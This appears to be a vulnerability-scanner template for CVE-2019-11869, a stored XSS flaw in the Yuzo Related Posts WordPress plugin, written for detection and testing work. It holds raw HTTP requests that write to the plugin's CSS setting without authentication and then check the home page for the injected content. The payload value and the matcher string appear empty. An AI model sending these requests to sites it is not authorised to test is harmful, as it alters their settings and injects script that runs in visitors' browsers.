id: CVE-2019-11869 info: name: Yuzo Related Posts plugin XSS author: ganofins severity: medium description: | The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS because it mistakenly expects that is_admin() verifies that the request comes from an admin user (it actually only verifies that the request is for an admin page). An unauthenticated attacker can inject a payload into the plugin settings, such as the yuzo_related_post_css_and_style setting. reference: | - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild - https://wpscan.com/vulnerability/9254 tags: cve,cve2019,wordpress,wp-plugin,xss requests: - raw: - | POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Content-Type: application/x-www-form-urlencoded yuzo_related_post_css_and_style= - | GET / HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Upgrade-Insecure-Requests: 1 req-condition: true matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_2, "")' - type: dsl dsl: - "contains(tolower(all_headers_2), 'text/html')"
